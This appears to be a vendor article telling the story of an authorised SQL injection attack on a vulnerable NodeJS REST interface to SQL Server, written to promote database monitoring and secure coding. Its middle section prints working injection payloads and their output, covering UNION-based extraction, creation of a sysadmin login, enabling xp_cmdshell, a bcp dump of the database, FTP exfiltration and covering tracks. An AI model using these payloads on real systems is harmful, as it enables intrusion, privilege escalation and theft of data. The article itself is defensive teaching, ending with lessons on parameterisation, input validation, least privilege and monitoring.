Product articles SQL Monitor SQL Server Security Monitoring
Picking over the Bones of a SQL…

22 December 2018
22 December 2018

Picking over the Bones of a SQL Injection Attack

The best way to learn how to protect your databases from SQL Injection is to to see it in action and confront its consequences. This article tells the story of an attack on a vulnerable SQL Server REST interface, explaining how the attack unfolds, the mistakes that made it possible, and SQL Monitor's role as the 'canary in the mine'.

Some developers are like bikers. They think that accidents and disasters are things that happen to other people.

They aren’t.

The Developer

Joe De Vell sat blinking in some confusion at the unexpected errors scrolling suddenly down his command line screen. It was output from his new SQL Server REST interface, built using NodeJS. How odd. He hadn’t been using the interface for the last half hour! Perhaps NodeJS was spontaneously caught in a looping error, as it might if running out of memory resources?

The team had only a few days previously been congratulating themselves on the speed with which they’d managed to get this pilot project up and running. AdventureWorks were under pressure to get their database working with the new website, which was based on SQL Server Express, AngularJS and Node.js.

Joe had built the interface, connected it up to the main development database, which he’d restored from a recent backup. They’d run a few tests within the development department to make sure it worked, and then added it to the public facing site for some further tests, simulating usage by the AdventureWorks shops with internet latency.

This morning he’d been running tests with CURL. He was executing NodeJS remotely in a command-shell rather than running it as a service and watching the output from Node. He had been worried about occasional errors to do with unhandled promises from the mssql driver and had been busy Googling when he’d suddenly noticed the command-line screen scrolling with all these errors.

After a while the scrolling paused. In the middle of the command shell was one of the errors. It was an EREQUEST error. One of the error lines read:

He was baffled. What is going on? Suddenly, Joe sensed a looming presence at his shoulder…


Grant ‘Deny’ De Beay, the rather strong-willed Database Admin uttered a choice few words that couldn’t be repeated before the 9.00pm watershed.

“So…I take it you guys are developing on the Staging server? I’m getting all sorts of security alerts for SQL errors, tables being created, and worse.”

“Err. No. Well, yes, but….”

Grant causally leaned forward and aborted the NodeJS session with a Ctrl-C. He then pulled up his SQL Monitor dashboard to show them the alerts.

Grant pointed to the bottom two, SuspiciousErrors and Database Drift. “These alerts mean we’re seeing a lot of SQL errors and metadata changes from adding, altering, dropping objects. Was that you?”

“Well, err, no. I mean, yes. Maybe a few, but…”

“And what about these two, Change to a login, role or user and Database Configuration Setting Changed? Who has been altering permissions and changing configuration settings? I already set all those up for you, including all the elevated permissions you insist you need”

“Now, no, that wasn’t us…we know not to mess with those!”

Grant went over to a console and executed a query, his reporting query for his custom Security alerts, which provided a ‘narrative’ of the changes that had been made. He did not like what he saw one bit.

He stared at it, exercising his finely-tuned anger-management skills, before looking up.

“Look at all this… this is all done by your NodeJS login, AdventureWorksMobile! There are all these SQL errors. Then, you’ve used your own sysadmin login to create a new MSSecurtiyMtr sysadmin login! Ad Hoc Distributed Queries and xp_cmdshell have been enabled! What the heck is going on here!”

Joe was ashen-faced. “Yes, that’s our app login, but…we didn’t make those changes. Honestly.”

Grant sighed, weary. “I knew it was terrible idea to let you to use admin logins on Staging. We’re going to have to call in the security team. Someone has hacked into the system…”

The Security Guy

Phil Factor, the Security guy, wandered in. “How’s tricks?” he asked, cheerily.

The figures slumped disconsolately across the office furniture told him all he needed to know.

Grant started the discussion. “Someone here set up a NodeJS interface and used a sysadmin login and password, just to get a demo system up and running.”


“And…it looks like it got hacked. I’ve not gone into the details, but it has all the hallmarks of a SQL Injection attack. They even enabled xp_cmdshell, probably to copy a payload off the staging server. By now, our data could be in China, Poland, Uzbekistan, or who knows!”

All eyes were on Phil Factor, expecting him to spontaneously combust, in anger. Phil didn’t self-immolate. Instead he smiled.

“Yes, in fact, the attacker managed to copy all the company’s data off the database, and on to an FTP server. But not in Uzbekistan, thankfully.”

Joe stared at Phil, gaping. How did he know?

“The truth is, I did it.”

Phil allowed a long pause to let this sink in, before smiling knowingly at Grant who also suddenly broke into a wide grin.

“I hacked your application, with Grant’s and management’s consent, to investigate, and to demonstrate how quickly a careless mistake can be exploited.”

Joe was dumbfounded.

“But, how did you even know about our Test Node application? It’s only been up a couple of days!”

“Simple. I am a security guy. I’m routinely port-scanning every server we have, and I was alerted to the server’s firewall having another port opened. I probed the port and found it was an active Node JS service. The default REST call brings up a response. Once I had a good endpoint, I just had to probe for weaknesses in the code and, well, you almost made it too easy for me.”

“But…why? how?”

“I’m glad you asked, because I can show you the PowerShell script I used. I’ll tidy it up and document it, for you to study, but I’ll step you through the main parts now, because hopefully you’ll see how easy it is to hack an unprotected connection, whether it is ODBC or Rest, or even a web page. I could have done it all from a web page.”

The Flaw

“Before I reveal my attack script, Joe, can you show me the code that made my attack possible?”

Joe had built a simple NodeJS interface and it looked like this….

Grant put his head in his hands. Phil suppressed a fit of the giggles. “Yes, well, I couldn’t do much damage with the stored procedure, but that query was a different matter. The critical errors are in this bit”:

“I won’t spoil the surprise. Let’s me demonstrate what this meant I was able to do…”

The Hack

Phil proudly opened his automated PowerShell attack script. “Don’t worry about the ‘dark side’ getting hold of this, by the way. They have much better scripts already. There is nothing they can learn from me.”

So here, I’m just executing the query you provided, with a value of 1 for the CustomerID parameter. Sure enough, the row is returned, and already I’ve spotted your first mistake.

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I'm testing the query on $ThebaseURI/Adventure, running it properly. Parameter 1"
Try { Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1')
} Catch { write-warning $_}
... I'm testing the query on http://localhost:8081/Adventure, running it properly. Parameter 1
VERBOSE: GET http://localhost:8081/adventure/1 with 0-byte payload
VERBOSE: received 184-byte response of content type application/json; charset=utf-8

CustomerID    : 1
PersonID      : 
StoreID       : 934
TerritoryID   : 1
AccountNumber : AW00000001
rowguid       : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate  : 2014-09-12T11:15:07.263Z 

Joe was confused. “That’s exactly how it’s supposed to work!”

Grant interjected. “The mistake Phil means is that this is production data and you’re using it to do development work! You should be using masked clones, like I told you, not just restoring old production backups!”

Joe shut up. Phil continued

Early stages: suspicious errors

I tried supplying the string silly instead of an integer, and immediately discovered your next mistake. Well, two mistakes.

... I'm checking to see if the query is parameterized
VERBOSE: GET http://localhost:8081/adventure/silly with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."} 

I see a lovely clear error message, and this tells me two things. Firstly, you’re doing no client-side input validation. This query expects an INT, but I’ve given it a string. You should be running checks in your code, and if the input isn’t the right type or format, it should never make it to the server. Secondly, it’s telling me that you’re just concatenating the string I provided directly into the SQL string that SQL Server executes. There’s no parameterization going on here! I now know this code is vulnerable to SQL Injection attack.

Now I’m trying to get it to execute a second query, but I’ve got the format wrong.

... I'm trying an alternative to get it to execute the second query
VERBOSE: GET http://localhost:8081/adventure/4);select silly with 0-byte payload
WARNING: {"message":"Incorrect syntax near ')'."} 

SQL Server tried to execute this…

…and doesn’t like the closing bracket.

This error, and the earlier 207 error, get picked up by Grant’s SuspiciousErrors custom monitor. I don’t want to cause too many of these SQL errors, but when one’s trying to navigate a schema ‘blind’ one will need to cause a few. Sadly, or happily from an attacker’s point of view, there is usually no monitoring in place to catch these ‘early warning’ signals.

Sure enough, as soon as I comment out the trailing bracket, I’m airborne. It’s tried to execute the second query.

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I forgot to comment-out the trailing bracket"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/4);select silly --')
} Catch { write-warning $_}
... I forgot to comment-out the trailing bracket
VERBOSE: GET http://localhost:8081/adventure/4);select silly -- with 0-byte payload
WARNING: {"message":"Invalid column name 'silly'."} 

Look what happens if I modify the WHERE clause, appending an OR 1=1 condition so that it evaluates to TRUE for every row. I get the whole table instead or just one row!

PS Z:\> Write-Host  -ForegroundColor 'yellow' "... I want to get the entire table rather than one row"
Try {Invoke-RestMethod -Method 'Get' -Uri ($ThebaseURI + '/adventure/1 or 1=1')|format-table
} Catch { write-warning $_}
... I want to get the entire table rather than one row
VERBOSE: GET http://localhost:8081/adventure/1 or 1=1 with 0-byte payload
VERBOSE: received 3736425-byte response of content type application/json; charset=utf-8

CustomerID PersonID StoreID TerritoryID AccountNumber rowguid ModifiedDate 
---------- -------- ------- ----------- ------------- ------- 
         1              934           1 AW00000001    3F5AE95E-B87D-4AED-95B4-C3797AFCB74F 2014-09-12T11:15:07.263Z
         2             1028           1 AW00000002    E552F657-A9AF-4A7D-A645-C429D6E02491 2014-09-12T11:15:07.263Z
         3              642           4 AW00000003    130774B1-DB21-4EF3-98C8-C104BCD6ED6D 2014-09-12T11:15:07.263Z
         4              932           4 AW00000004    FF862851-1DAA-4044-BE7C-3E85583C054D 2014-09-12T11:15:07.263Z
         5             1026           4 AW00000005    83905BDC-6F5E-4F71-B162-C98DA069F38A 2014-09-12T11:15:07.263Z
         6              644           4 AW00000006    1A92DF88-BFA2-467D-BD54-FCB9E647FDD7 2014-09-12T11:15:07.263Z
         7              930           1 AW00000007    03E9273E-B193-448E-9823-FE0C44AEED78 2014-09-12T11:15:07.263Z 

The UNION ALL trick: broadening the attack

Now I know 7 columns are returned, I can find out if the UNION ALL trick is going to allow me to get more than one result.

... Now I'm Seeing whether the UNION trick works
VERBOSE: GET http://localhost:8081/adventure/1)
     union all Select null, null, null, null, null, null, null -- with 0-byte payload
VERBOSE: received 310-byte response of content type application/json; charset=utf-8

CustomerID    : 1
PersonID      : 
StoreID       : 934
TerritoryID   : 1
AccountNumber : AW00000001
rowguid       : 3F5AE95E-B87D-4AED-95B4-C3797AFCB74F
ModifiedDate  : 2014-09-12T11:15:07.263Z

CustomerID    : 
PersonID      : 
StoreID       : 
TerritoryID   : 
AccountNumber : 
rowguid       : 
ModifiedDate  :  

That worked! Now if I just suppress the results of first query, by appending an impossible OR 1=2 condition, and match the datatypes of the second query in the UNION ALL to those returned by the first, then I can get back any results I like!

In the next bit, I’m using the AccountNumber string to return the server and database names and the integers to find out which privileges our user connection has.

... Get the basic information about the login assigned to the REST interface
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2) 
  union select IS_SRVROLEMEMBER('diskadmin', system_user) , 
               IS_SRVROLEMEMBER('securityadmin', system_user), 
               IS_SRVROLEMEMBER('sysadmin', system_user), 
               IS_SRVROLEMEMBER('serveradmin', system_user),
               'server '+@@ServerName+'-'+system_user+' '+current_user,null,null
  union select IS_MEMBER('db_owner') , 
               'Database ='+db_name()+' '+system_user+' '+current_user,null,null
               -- with 0-byte payload
VERBOSE: received 322-byte response of content type application/json; charset=utf-8

CustomerID    : 1
PersonID      : 1
StoreID       : 1
TerritoryID   : 1
AccountNumber : Database =AdventureWorks2016 AdventureWorksMobile dbo
rowguid       : 
ModifiedDate  : 

CustomerID    : 1
PersonID      : 1
StoreID       : 1
TerritoryID   : 1
AccountNumber : server AWStaging-AdventureWorksMobile dbo
rowguid       : 
ModifiedDate  :  

“Oh dear” It was an understatement from Grant. “Yes, they’ve used their development login on the interface rather than wait in a queue to get a suitable login. And like most developers, it has Sysadmin access to Staging.”

“Indeed” said Phil “And now you are in deep trouble I’m afraid…

I can get at the system tables and have a sniff around from any interesting columns. Ooh look, credit cards!

... Using the system tables to search for sensitive columns
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2 )
      Object_Schema_Name(object_id)+ '.'+Object_Name(object_id)+ '.'+ name,
    FROM sys.columns 
      WHERE name LIKE '%25card%25' 
        OR Object_Name(object_id) LIKE '%25card%25'-- with 0-byte payload
VERBOSE: received 3216-byte response of content type application/json; charset=utf-8

 Object_id   column                                System_Type_id Max_Length Column_id
 --------- ------ -------------- ---------- ---------
1189579276 Sales.CreditCard.CreditCardID           56          4          1 
1189579276 Sales.CreditCard.CardType               231        100         2
1189579276 Sales.CreditCard.CardNumber             231         50         3

Elevating permissions

At some point, an attacker will want their own login, especially if they intend to get the payload off to a remote server. So, next, I use your elevated-privilege application login to create my own sysadmin login.

... Create our own SQL Server sysadmin login
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
    CREATE LOGIN MSSecurityMtr WITH PASSWORD = 'NowIHave@SysAdminPWDHo!Ho!Ho!';
    EXEC master..sp_addsrvrolemember @loginame = N'MSSecurityMtr', @rolename = N'sysadmin' -- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8 

Grant’s custom monitor for access control and permission changes picks this up, but nevertheless I now have sysadmin access using a SQL Server login. I can probably now attack the SQL Server directly, if I know its address. However, I can still do plenty of damage just using the NodeJs login.

Making SQL Server configuration changes

I’ll need to use OPENROWSET to connect to my remote server, and I’ll also need to run some OS commands. No problem, I can activate advanced configuration options like Ad Hoc Distributed Queries or xp_cmdshell. Again, Grant is monitoring for these changes, as you saw earlier.

... See if we can change the configuration
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
use AdventureWorks2016
execute sp_configure 'show advanced options',1;
reconfigure with override;
execute sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure with override;
-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8 

This works. I now have full control over this server and can keep control even if the DBA spots that the user assigned has too many permissions.

Stealing the data

There were a couple of critical steps to the final part of my attack. For starters, I need to get a directory listing. This requires two steps, first creating a table to store the details and then reading from the table.

I had a slight hiccough here, when I initially saved the directory details to a temporary table, because when I tried to connect again to read from it, I was scuppered by connection pooling; my original connection was no longer there.

This meant I had to create a permanent table, execute the directory commands to get the data, then read back the contents and drop the table. It worked a treat.

... Right. We have to use a permanent table to get a file listing
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
create table MS_Temp267 (TheORDER int identity,  theLine NVARCHAR(255));
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'dir c:%5C';
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'net use';
INSERT INTO MS_Temp267(theLine) EXECUTE  xp_cmdshell 'wmic logicaldisk list brief'--; with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8
... now read back the contents of the temp table
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2) union all 
SELECT NULL,NULL,NULL,NULL,TheLine,NULL,NULL FROM MS_Temp267;drop table MS_Temp267-- with 0-byte payload
VERBOSE: received 4542-byte response of content type application/json; charset=utf-8

 Volume in drive C is System                                              
 Volume Serial Number is 7C3A-C040                                        
 Directory of c:\                                                         
12/09/2016  11:35    <DIR>          Logs                                  
14/03/2018  17:38    <DIR>          PerfLogs                              
14/03/2018  17:52    <DIR>          Program Files                         
22/01/2018  15:51    <DIR>          Program Files (x86)                   
16/11/2018  10:50    <DIR>          SQLBackups                            
30/11/2018  17:08    <DIR>          SQLData                               
12/06/2018  17:52    <DIR>          Temp                                  
01/05/2018  13:38    <DIR>          Users                                 
16/11/2018  17:47    <DIR>          Windows                               
28/02/2018  16:13    <DIR>          XMLData                               
               0 File(s)              0 bytes                             
              12 Dir(s)  27,775,627,264 bytes free                        
New connections will be remembered.                                       
There are no entries in the list.                                         
DeviceID  DriveType  FreeSpace    ProviderName  Size         VolumeName...
C:        3          27775627264                85897244672  System    ...

Because Grant was actively monitoring for metadata changes, he detected that I’d created this table. Otherwise, you might never know.

Now I knew I had a C:\ drive to work with, so I just created a DataBackups directory on it, and then used bcp to dump all the data into it.

... dump the entire database in a directory
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
EXEC sp_msforeachtable 'xp_cmdshell ''bcp  %3F  out -n -N -dAdventureWorks2016 -UMSSecurityMtr -PDtctTn2L2TXqfuqb -STONY-SQL2017'';'-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8 

Again, it worked a treat.

That done, I reached the ‘payload’ of the attack, where I FTP all this data across to my own FTP server.

... Now ship the payload of AdventureWorks2016.TONY-SQL2017 out to our remote FTP site
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
Execute xp_cmdshell 'echo open >C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo prompt>>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo cd >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'echo mput C:%5CDataBackups%5C* >>C:%5CDataBackups%5Coutput.txt';
Execute xp_cmdshell 'ftp -s:C:%5CDataBackups%5Coutput.txt'-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8 

And, here is the sobering sight of all your data on my remote FTP server:

Finally, I just cover my tracks by deleting the directory, resetting the configuration settings, and so on.

... Now let's tear-down and cover our tracks
VERBOSE: GET http://localhost:8081/adventure/1 and 1=2);
use AdventureWorks2016
EXEC sp_configure @configname='hadoop connectivity';  
execute sp_configure 'show advanced options',1;
reconfigure with override;
Execute xp_cmdshell 'del C:%5CDataBackups%5C*.* %2FQ'
Execute xp_cmdshell 'rmdir C:%5CDataBackups'
execute sp_configure 'Ad Hoc Distributed Queries',0;
execute sp_configure 'xp_cmdshell', 0;  
reconfigure with override;
-- with 0-byte payload
VERBOSE: received 2-byte response of content type application/json; charset=utf-8 

Unless, you were monitoring, you might never know it all happened….

The Fix

If anything, Joe looked even more ashen of face than he did when he thought their data might now be in Uzbekistan.

Phil tried to perk him up.

“Don’t feel too bad, Joe. Yes, in retrospect, it was silly, but when you’re under pressure and racing to add features, developers can easily forget the need for basic security precautions. The first mistake in the code was having an unparameterized query. However, this wouldn’t have been so dangerous, if you had checked and validated the string that was passed to the query. It should have been an integer and therefore should have been checked.

Fortunately, the code fix is simple, and I’m sure you’ll never forget it again. That app.get should have been first validated and then parameterised, like this, to prevent any malicious user from getting into the system …”

The Lessons

What are the main lessons? I can think of a few good ones:

  • Never allow personal or sensitive data to leave the security of the production server. Either mask the data so that you are sure it is safe to use or else generate the data from scratch.
  • Never use logins that can do more than you need them to do. If you want a login to read from a couple of tables and nothing else, then why use something that can do much more?
  • Always parameterize your queries
  • Always do client-side input validation.
  • Haven taken all precautions to secure your servers and database from intrusion, you still need to have monitoring in place, to spot any attempts at illegal or unauthorized activity.

Don’t forget that I was demonstrating a pre-prepared and automated attack. End-to-end, it took only a couple of minutes to run, and copy off your data.

Generally, a cyber-attack will take longer; hours or days rather than minutes, unless the attacker has acquired ‘insider knowledge’. The attacker will need to navigate through your schema ‘blind’ and will trigger quite a few of those SQL syntax errors. That’s why that Suspicious Errors customer monitor is such as useful “canary in the mine”. It will alert you as early as possible to signs of attempted intrusion. The cause might be entirely innocuous, but at least you can investigate, and batten down hatches if it’s not. The other custom monitors for permission changes, configuration changes and object changes are your next line of defense and are equally useful for detecting unauthorized changes made internally.

The important thing is that with a tool like SQL Monitor, you get not only the early warning, in the form of the alerts, but also can quickly query the diagnostic data behind the alerts to get a ‘narrative’ of what changes were made by whom, and when. Once someone has sysadmin privilege they can do pretty much anything – even turn off your native monitoring systems. If you have a third-party tool, then you will at least always be warned if this happens.



You may also like

  • Article

    Scaling SQL Monitor to Large SQL Server Estates

    Tony Davis describes the features and capabilities of SQL Monitor that allow it to scale smoothly to monitor a growing estate of servers and databases, while still providing a single, simple dashboard that gives the team all of the essential SQL Server metrics and alerts, establishes baselines, and detects trends in behavior.

  • Community event

    SQL Saturday Gothenburg

    SQLSaturday is a free training event for Microsoft Data Platform professionals and those wanting to learn about SQL Server, Business Intelligence and Analytics. Redgate will be attending the event as a Silver Sponsor. Stop by our stand and meet the team.

  • Article

    Checking on Failed Server Logins, Server Errors and Warnings using SQL Monitor

    Armed only with PowerShell and SQL Monitor, Phil Factor offers a solution that will alert you quickly to a whole range of Windows errors, warnings and critical events, including the failed server login attempts that would accompany a brute-force password attack on the Windows Server hosting your SQL Server instance.

  • Article

    Where SQL Server monitoring fits into your tech stack

    This article explains the basic components of a tech stack, and the decisions and requirements that affect how and where monitoring tools generally, and a specialist SQL Server monitoring tool like SQL Monitor, in particular, fit into your stack.

  • Forums

    SQL Monitor Forum

    Real-time SQL Server performance monitoring, with alerts and diagnostics